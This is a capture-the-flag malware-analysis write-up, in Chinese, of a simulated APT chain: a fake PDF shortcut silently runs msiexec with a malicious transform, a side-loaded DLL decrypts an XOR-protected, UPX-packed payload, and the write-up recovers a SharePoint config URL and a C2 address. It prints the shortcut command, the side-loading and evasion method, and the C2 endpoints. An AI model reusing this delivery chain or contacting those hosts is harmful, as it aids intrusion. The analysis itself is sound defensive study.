ISCTF2025 病毒分析 Writeup
在 ISCTF2025 Day 2 的挑战中,我们遇到了一组病毒分析题,题目主要考察关于鱼叉邮件 PDF 快捷方式与 MSI TRANSFORMS 参数的恶意利用分析。以下是个人 Writeup。
题目提示如下:
- 注1:本题通过模仿某近期活跃的 APT(Advanced Presistent Threat,高级持续性威胁)组织的攻击手法,使题目更符合真实环境,题目设计为不会对系统进行破坏,即使真机运行也不影响,清除方法将在官方 WriteUp 中给出
- 注2:为使题目正常运行,请将文件解压到
C:\Windows\System32中 - 注3:本系列除最后一题外其他题目均为问答,不需要包裹
ISCTF{}
题目附件是名为 ISCTF.rar 的压缩包,包含附件 fR6Wl,TJe1w 和 ISCTF基础规则说明文档.pdf.lnk,其中,ISCTF基础规则说明文档.pdf.lnk 的行为如下:

C:\Windows\System32\msiexec.exe /i Tje1w TRANSFORMS=fR6Wl /qn
因此我们可知,TJe1w 应该是一个 Windows Installer 安装程序,也就是 MSI 文件;而 fR6Wl 是一个 MSI TRANSFORMS 组件,打开 ISCTF基础规则说明文档.pdf.lnk 后就会静默安装这些附件。

在静默安装 TJe1w 时,fR6Wl 的内容会被修补到安装中。基于这一前提,我们可以对题目所给病毒附件进行分析。
病毒分析-题目1
题目模仿的APT组织中文代号为?
查询资料可知,奇安信威胁情报中心在最近的日常运营过程中发现其从 2022 年中就开始持续跟踪的新海莲花组织开始重新活跃,并使用了 MSI 文件滥用的新手法,尽管 MSI TRANSFORMS 技术理论上在 2022 年已经被披露,但这是首次在针对国内政企的 APT 活动中捕获到。
答案:海莲花
来源:MSI文件滥用新趋势:新海莲花组织首度利用MST文件投递特马
病毒分析-题目2
第一阶段载荷中的入口文件全名为?
已知打开 ISCTF基础规则说明文档.pdf.lnk 后就会触发静默安装流程,释放合法的 Zoom 软件和恶意载荷。攻击者为避免引起用户怀疑,在安装结束后会自动打开被释放到 用户文档(Documents) 目录下的 ISCTF基础规则说明文档.pdf 文件。


答案:ISCTF基础规则说明文档.pdf.lnk
病毒分析-题目3
第一阶段中使用了一个带有数字签名的文件(非系统文件),其中签名者名称为?(完整复制)
这里认为第一阶段是恶意软件利用 msiexec.exe 的特性,将恶意软件静默释放到用户系统并利用预设参数执行的过程。执行过程中使用的 TJe1w 是一个 Windows Installer 安装程序,它是 Zoom 软件的合法安装包;而 fR6Wl 是一个 MSI TRANSFORMS 组件,包含恶意组件。其中,TJe1w 具有来自 Zoom 的合法数字签名,而 fR6Wl 没有数字签名。查看 TJe1w 的签名信息即可得到答案。
答案:Zoom Video Communications, Inc.

病毒分析-题目4
第一阶段中恶意载荷释放的文件名分别为?(提交三次,每次一个文件名)
我们首先需要知道,题目附件中的 TJe1w 是一个合法的 Zoom 安装包,而用于修补的 fR6Wl 包含真正的恶意组件。我们使用 Windows SDK 中的 Orca 进行分析,将 fR6Wl.mst 修补到 TJe1w.msi,发现新增了一个名为 RunTools 的流程:


此外,修补后的安装程序包含了一个名为 zRC.dll 的“新文件”:

又注意到修补后的 MSI 文件新增的流程主要是运行名为 zTool 的恶意组件的 Utils 目标,我们从 fR6Wl 中提取 Binary.zTool 进行分析。
分析发现,恶意组件 zTool 释放了三个不同类型的资源,通过Utils()函数统一释放:
int Utils()
{
int savedregs; // [esp+0h] [ebp+0h] BYREF
sub_10001E70((int)&savedregs);
sub_10002230((int)&savedregs);
sub_10002530((int)&savedregs);
return 0;
}
Utils() 函数调用的三个方法具有共同特征,均为释放载荷里的有关资源,并进行下一步操作。每个释放函数都遵循相同模式:
- 使用
FindResourceW定位资源 LoadResource加载资源SizeofResource获取大小LockResource锁定资源数据- 使用
SHGetFolderPathW获取系统路径 - 构建完整文件路径
- 创建并写入文件(使用 C++ 文件流操作)
- 错误处理(使用 C++ 异常机制)

由此我们得知,第一阶段中恶意载荷释放了三个文件,它们的文件名即为本题答案。
答案:zRC.dat,zRCAppCore.dll,ISCTF2025基础规则说明文档.pdf
病毒分析-题目5
第二阶段使用了一种常见的白加黑技巧,其中黑文件名为?
白加黑中的白就是指被杀软列入到可信任列表中的文件,而黑就是指我们自己的文件,没有有效证书签名,也不是微软文件。通常黑文件会被杀软加入到可疑名单中。很多杀毒软件会对白文件的操作进行放行,如果我们将黑程序和白程序在一个进程中,就可以绕过一些杀软的检测。
我们注意到第一阶段恶意载荷释放了一个名为 zRCAppCore.dll 的文件,它的文件名和 Zoom 安装目录下名为 zRCAppCore.dll 的合法文件是一致的。在第一阶段恶意载荷的释放流程中,它被释放到 \\ZoomRemoteControl\\bin\\zRCAppCore.dll,取代了原版安装包中 1.8 MB 大小的 zRCAppCore.dll 为 111 KB 大小的恶意载荷 zRCAppCore.dll。而原本的 zRCAppCore.dll 则被 zRC.dll 所替代。



答案:zRCAppCore.dll
病毒分析-题目6
第二阶段对下一阶段载荷进行了简单的保护,保护使用的算法为?
我们对第二阶段恶意载荷 zRCAppCore.dll 进行分析。从 sub_10001050() 函数中我们可以看出,恶意载荷首先会执行获取自身路径的操作,提取自身所在目录,并以此拼接与其同一目录的 zRC.dat 文件路径。

注意到第二阶段使用了 XOR 异或运算,通过这一运算,zRC.dat 的内容得以被解密。
答案:XOR
病毒分析-题目7
第二阶段对下一阶段载荷进行了简单的保护,保护使用的密码为?
我们已知第二阶段使用了 XOR 异或运算,通过这一运算,zRC.dat 的内容得以被解密:
for (i = 0; i < size; i++)
data[i] ^= "tf7*TV&8un"[i % 9];
我们发现,虽然密钥长度为 10,但代码只循环使用前 9 个字节。
答案:tf7*TV&8u
病毒分析-题目8
第三阶段载荷使用了一种开源的保护工具,工具英文缩写为?
我们首先使用以下 Python 代码还原恶意载荷的 XOR 运算流程,得到 zRC.dat 的内容:
import os
def decrypt_zrc(input_file, output_file):
key_string = b"tf7*TV&8un"
key_mod = 9
try:
if not os.path.exists(input_file):
print(f"[!] Error: Input file '{input_file}' not found.")
return
with open(input_file, 'rb') as f:
data = bytearray(f.read())
file_size = len(data)
print(f"[*] File size: {file_size} bytes")
# 执行 XOR 解密
for i in range(file_size):
# 对应源程序:data[i] ^= "tf7*TV&8un"[i % 9];
data[i] ^= key_string[i % key_mod]
# 写入解密后的数据
with open(output_file, 'wb') as f:
f.write(data)
print(f"[+] Decryption successful!")
print(f"[+] Output saved to: {output_file}")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
INPUT_FILENAME = "zRC.dat"
OUTPUT_FILENAME = "zRC_decrypted.bin"
decrypt_zrc(INPUT_FILENAME, OUTPUT_FILENAME)
用十六进制编辑器对得到的 zRC_decrypted.bin 进行分析,发现明显的 PE 文件特征。

因此使用 Detect It Easy 进一步分析,发现第三阶段载荷被 UPX 加壳。又已知 UPX 开源。

答案:UPX
病毒分析-题目9
第三阶段载荷首次回连域名为?
我们先用 upx -d 去掉第三阶段载荷的加壳。分析发现,第三阶段载荷首先会向一个 SharePoint 地址发送 GET 请求,从这个地址下载配置文件 c2.dat 以与 C2 服务器建立通信。

colonised-my.sharepoint.com/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk4L-x0r8yGztFlye2j9Q
答案:colonised-my.sharepoint.com
病毒分析-题目10
第三阶段载荷获取命令的回连地址为?(格式:IP:端口)
分析 sub_402450,我们发现恶意载荷从 SharePoint 服务下载的 c2.dat 经过加密,内容如下:
oA0tG3aW2vT8mL5tvM1qV3cF2aB2xS6ztT7gX0zB1xR9zK8mjP0xP2iT3lO6fH1rpE4gP6pA2mE9dE7dntyVmZqZlZm5lZy5Fti2mZe1lD1bZ0nJ8gY7lR2qmP3vK5nY1hD3cT7guJ8tQ8rE6qJ1gF6ipZ0rF0vR5yB4xA4nyD7wM0lV5wC4rZ1c
而第三阶段载荷会调用方法对 c2.dat 的内容进行解密。

具体而言,第三阶段载荷定义了两个关键标记 lD1bZ0 和 E9dE7d,第三阶段载荷会解密这两个标记之间的 ntyVmZqZlZm5lZy5Fti2mZe1 部分。第三阶段载荷首先会对标记之间的文本进行 Base64 解码,再进行 *((_BYTE *)v9 + i) ^= 1u; 操作,也就是 XOR 0x01。
v31 = 0;
v32 = 0;
v30 = 0i64;
sub_4046D0((unsigned int *)&v30, (int)"lD1bZ0", 6u);
LOBYTE(v61) = 1;
v34 = 0;
v33 = 0i64;
v35 = 0;
sub_4046D0((unsigned int *)&v33, (int)"E9dE7d", 6u);
LOBYTE(v61) = 2;
sub_402080(&v33, &v30);
LOBYTE(v61) = 3;
v7 = sub_401D80(); // Base64
LOBYTE(v61) = 4;
sub_403280(v7);
for ( i = 0; i < v47; ++i )
{
v9 = (int *)&v46;
if ( v48 > 0xF )
v9 = v46;
*((_BYTE *)v9 + i) ^= 1u;
}
我们还注意到,第三阶段载荷使用的 Base64 码表的形式为小写在前,大写在后,这与标准的 Base64 码表有区别。
int sub_401000()
{
sub_4046D0(dword_42ABC4, (int)"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/", 0x40u);
return sub_4066D3(sub_41BD10);
}
因此,我们使用以下 Python 代码,即可还原得到第三阶段载荷获取命令的回连地址。
import base64
# 自定义Base64字母表映射
CUSTOM_B64_ALPHABET = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
STANDARD_B64_ALPHABET = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def b64_decode(encoded_data):
try:
trans_table = bytes.maketrans(CUSTOM_B64_ALPHABET, STANDARD_B64_ALPHABET)
std_encoded = encoded_data.translate(trans_table)
if len(std_encoded) % 4:
std_encoded += b'=' * (4 - len(std_encoded) % 4)
return base64.b64decode(std_encoded)
except Exception as e:
print(f"Base64解码错误: {e}")
return None
def decrypt_payload(encoded_str):
# 第一步:Base64解码
decoded_bytes = b64_decode(encoded_str.encode())
if not decoded_bytes:
return None
# 第二步:XOR 0x01
return bytes(b ^ 1 for b in decoded_bytes)
def decrypt_content(encoded_str):
result_bytes = decrypt_payload(encoded_str)
if result_bytes:
try:
result_str = result_bytes.decode('utf-8')
print(f"解密成功! 结果: {result_str}")
return result_str
except UnicodeDecodeError:
print(f"解密结果(十六进制): {result_bytes.hex()}")
else:
print("解密失败")
return None
if __name__ == "__main__":
decrypt_content("ntyVmZqZlZm5lZy5Fti2mZe1")
解密结果即为题目所求的回连地址:
解密成功! 结果: 47.252.28.78|37204
答案:47.252.28.78:37204
病毒分析-题目11
第三阶段载荷获取命令时发送的内容为?
继续分析方法 sub_402450,注意到第三阶段载荷会与解密后的 C2 服务器地址建立通信。获取命令时发送的内容为 get_cmd。

答案:get_cmd
病毒分析-题目12
访问最终回连地址得到flag
47.252.28.78:37204 就是最终回连地址。访问即可下载最终 Flag。

最终 Flag 为:
ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}

浙公网安备 33010602011771号